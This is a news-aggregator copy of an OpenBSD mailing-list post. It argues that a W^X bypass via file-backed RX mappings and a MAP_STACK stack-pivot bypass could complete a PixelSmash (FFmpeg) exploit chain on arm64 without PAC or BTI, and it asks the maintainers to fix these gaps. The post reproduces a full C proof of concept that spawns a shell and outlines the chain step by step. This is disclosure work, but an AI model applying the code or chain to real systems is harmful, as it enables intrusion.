{"slug": "revisiting-stack-pivot-w-x-break-in-the-context-of-pixelsmash", "title": "Revisiting: Stack pivot, W^X break – in the context of PixelSmash", "summary": "A new exploit technique bypasses OpenBSD's W^X protection on arm64 hardware lacking PAC, BTI, or hardware CFI, using a file-backed RX mapping to achieve code execution. The technique, demonstrated in the context of CVE-2026-8461 (PixelSmash), a heap out-of-bounds write in FFmpeg's MagicYUV decoder, completes an exploit chain from heap corruption to remote code execution on affected systems.", "body_md": "Skip to site navigation (Press enter)\nRevisiting: Stack pivot, W^X break — in the context of CVE-2026-8461 (PixelSmash)\nnibletz\nThu, 25 Jun 2026 15:07:28 -0700\n\n```\nHello,\n\nDisclaimer: I used Claude to organize my thoughts on this.\nThis is a follow-up to the thread from January [1] which raised two separate \nissues: a MAP_STACK bypass via stack pivot jumpback, originally discussed by \nAli Polatel on oss-security [2], and a W^X break via file-backed RX mapping, \noriginally reported against HardenedBSD [3] and confirmed working on OpenBSD in \nthe same thread.\n\nThe discussion in that thread concluded with the observation that \"the burglar \nis already inside the house\" — implying these techniques require prior code \nexecution and are therefore not independently significant. I'd like to offer a \nconcrete counterexample to that framing.\n\nCVE-2026-8461 (PixelSmash), disclosed last week, is a heap out-of-bounds write \nin FFmpeg's MagicYUV decoder affecting any application using libavcodec, \nincluding applications that process untrusted AVI, MKV, or MOV files. JFrog \ndemonstrated remote code execution against Jellyfin on Linux by corrupting the \nAVBuffer.free function pointer via a crafted 50KB media file delivered to an \nautomated library scan pipeline — no user interaction beyond file delivery \nrequired.\n\nOn OpenBSD, several mitigations raise the bar considerably: omalloc's heap \nlayout randomization, ASLR, RetGuard, IBT/BTI on capable hardware, pinsyscalls, \nmimmutable, and library relinking collectively make the Linux exploit technique \nnot directly portable. However, on arm64 hardware without PAC, BTI, or \nhardware-enforced CFI — which describes a wide range of commonly deployed arm64 \nhardware — the two techniques from the January thread become directly relevant \nas the missing links completing a realistic exploit chain from that initial \nheap corruption primitive.\n\nW^X bypass via file-backed RX mapping\n\nThe original HardenedBSD GitLab issue [3] is no longer accessible — HardenedBSD \nhas since migrated from GitLab to Radicle [4]. However, the technique was \nconfirmed working on OpenBSD arm64 in the January thread, and a subsequent \nupdate by the author confirmed it pops a shell despite pinsyscalls via a libc \ntrampoline. The PoC (authored by Ali Polatel <[email protected]>, reproduced \nhere for archival purposes as the original link is broken) is as follows:\n\n``` c\n// poc_wx_bypass.c\n//\n// Proof-of-Concept: W^X bypass via file-backed RX mapping\n// Author: Ali Polatel <[email protected]>\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/types.h>\n\nstatic char *shell_path = \"/bin/sh\";\nstatic char **shell_argv;\nstatic char **shell_envp;\n\nstatic void __attribute__((noinline)) exec_shell(void)\n{\n        execve(shell_path, shell_argv, shell_envp);\n        _exit(127);\n}\n\n#if defined(__x86_64__)\nstatic unsigned char trampoline_code[] = {\n        0xc3 /* ret */\n};\n#elif defined(__aarch64__)\nstatic unsigned char trampoline_code[] = {\n        0xc0, 0x03, 0x5f, 0xd6 /* ret (uses x30/lr) */\n};\n#elif defined(__i386__)\nstatic unsigned char trampoline_code[] = {\n        0xc3 /* ret */\n};\n#else\n#error \"Architecture not supported. Please implement trampoline code.\"\n#endif\n\nstatic void __attribute__((noinline, noreturn))\ncall_trampoline(void *code_addr)\n{\n#if defined(__x86_64__)\n        asm volatile(\"push %0\\n\\t\"\n                    \"jmp *%1\\n\\t\"\n                    :\n                    : \"r\"((uintptr_t)exec_shell), \"r\"(code_addr)\n                    : \"memory\");\n#elif defined(__aarch64__)\n        asm volatile(\"mov x30, %0\\n\\t\"\n                    \"br %1\\n\\t\"\n                    :\n                    : \"r\"((uintptr_t)exec_shell), \"r\"(code_addr)\n                    : \"x30\", \"memory\");\n#elif defined(__i386__)\n        asm volatile(\"push %0\\n\\t\"\n                    \"jmp *%1\\n\\t\"\n                    :\n                    : \"r\"((uintptr_t)exec_shell), \"r\"(code_addr)\n                    : \"memory\");\n#else\n#error \"Architecture not supported.\"\n#endif\n        __builtin_unreachable();\n}\n\nint main(int argc, char **argv, char **envp)\n{\n        const char *path = \"./mmap\";\n        int fd;\n        void *addr;\n        size_t len;\n\n        /* Set up shell arguments. */\n        static char *default_argv[] = {\"/bin/sh\", NULL};\n        shell_argv = (argc > 1) ? &argv[1] : default_argv;\n        shell_envp = envp;\n\n        /* Create backing file. */\n        fd = open(path, O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);\n        if (fd < 0) {\n                perror(\"open\");\n                exit(EXIT_FAILURE);\n        }\n\n        /* Map RX.\n        * MAP_PRIVATE isn't necessary, MAP_SHARED works too...\n        */\n        len = sizeof(trampoline_code);\n        addr = mmap(NULL, len, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);\n        if (addr == MAP_FAILED) {\n                perror(\"mmap\");\n                close(fd);\n                unlink(path);\n                exit(EXIT_FAILURE);\n        }\n\n        /* Overwrite backing file. */\n        if (lseek(fd, 0, SEEK_SET) < 0 ||\n            write(fd, trampoline_code, len) != (ssize_t)len) {\n                perror(\"write\");\n                munmap(addr, len);\n                close(fd);\n                unlink(path);\n                exit(EXIT_FAILURE);\n        }\n\n        /* Close file:\n        * This will sync the contents to the RO-memory area,\n        * which breaks W^X! */\n        close(fd);\n\n        /* Jump into RX mapping! */\n        call_trampoline(addr);\n\n        /* Cleanup (not reached if shell succeeds). */\n        munmap(addr, len);\n        unlink(path);\n        return EXIT_FAILURE;\n}\n```\n\nThe technique maps a file RX, then writes attacker-controlled code to the file \ndescriptor — never holding write and execute permissions on the same mapping \nsimultaneously — then closes the file, syncing the content into the RX mapping. \nW^X is never technically violated at the mmap level, but executable \nattacker-controlled code results. Pinsyscalls is addressed by routing through a \nlegitimate libc trampoline rather than calling execve directly from injected \ncode.\n\nHardenedBSD addressed this class of issue in their August 2025 status report \n[5] by integrating Trusted Path Execution with mmap(PROT_EXEC) on file-backed \nmappings. OpenBSD has no equivalent protection.\n\nMAP_STACK bypass via stack pivot jumpback\n\nAli Polatel's stack pivot jumpback bypass [6] sidesteps MAP_STACK detection by \npivoting to a heap-allocated stack for intermediate work, then pivoting back to \nthe original legitimate stack before making any syscall. The kernel's SP check \nat the syscall boundary never sees an invalid stack pointer. This was confirmed \nworking on OpenBSD arm64 in the January thread. Crucially, no syscalls are made \nwhile on the heap stack — as noted in the thread, the bypass specifically \navoids crossing any syscall boundary while off the legitimate stack.\n\n**In combination**\n\nIn the context of PixelSmash on arm64 without PAC/BTI:\n\n- The heap overflow primitive corrupts AVBuffer.free to redirect control flow\n- omalloc and ASLR require a precise info leak — the FlashSV decoder bug noted \nin the JFrog writeup is a candidate, though chaining it reliably to reveal \nspecific heap object addresses requires further research\n- With control flow redirected, the stack pivot jumpback technique provides a \npath to execute arbitrary code while evading MAP_STACK detection\n- The file-backed RX mapping bypass provides a means to get attacker-controlled \ncode into an executable mapping without violating W^X\n- The libc trampoline approach routes execve through the pinned libc stub, \nsatisfying pinsyscalls\n\nThe result is a plausible path from an unauthenticated media file to a shell on \nan OpenBSD arm64 system running a vulnerable FFmpeg version, on hardware that \nis in common use.\n\nThe immediate mitigation is to update FFmpeg to 8.1.2 and avoid automated \nprocessing of untrusted media. The underlying gaps in MAP_STACK enforcement and \nW^X via file-backed mappings remain open questions.\n\nIs there interest in addressing either of these, or a technical reason they are \nconsidered out of scope?\n\nWith respect,\nNibletz\n\n[1] https://go.mail-archive.com/[email protected]/msg196619.html\n[2] https://seclists.org/oss-sec/2026/q1/48\n[3] https://git.hardenedbsd.org/hardenedbsd/HardenedBSD/-/issues/107 (no longer \naccessible — HardenedBSD migrated to Radicle)\n[4] \nhttps://hardenedbsd.org/article/shawn-webb/2026-04-26/hardenedbsd-officially-radicle\n[5] \nhttps://hardenedbsd.org/article/shawn-webb/2025-08-30/hardenedbsd-august-2025-status-report\n[6] \nhttps://gitlab.exherbo.org/sydbox/sydbox/-/blob/main/dev/stackpivot-jumpback-bypass.c\n```\n\nPrevious message\nView by thread\nView by date\nNext message\nReply via email to\nSearch the site\nThe Mail Archive home\nmisc - all messages\nmisc - about the list\nPrevious message\nNext message", "url": "https://wpnews.pro/news/revisiting-stack-pivot-w-x-break-in-the-context-of-pixelsmash", "canonical_source": "https://www.mail-archive.com/misc@openbsd.org/msg198341.html", "published_at": "2026-06-30 02:48:34+00:00", "updated_at": "2026-06-30 03:21:56.493842+00:00", "lang": "en", "topics": ["ai-safety"], "entities": ["OpenBSD", "FFmpeg", "Jellyfin", "JFrog", "Ali Polatel", "HardenedBSD", "CVE-2026-8461", "PixelSmash"], "alternates": {"html": "https://wpnews.pro/news/revisiting-stack-pivot-w-x-break-in-the-context-of-pixelsmash", "markdown": "https://wpnews.pro/news/revisiting-stack-pivot-w-x-break-in-the-context-of-pixelsmash.md", "text": "https://wpnews.pro/news/revisiting-stack-pivot-w-x-break-in-the-context-of-pixelsmash.txt", "jsonld": "https://wpnews.pro/news/revisiting-stack-pivot-w-x-break-in-the-context-of-pixelsmash.jsonld"}}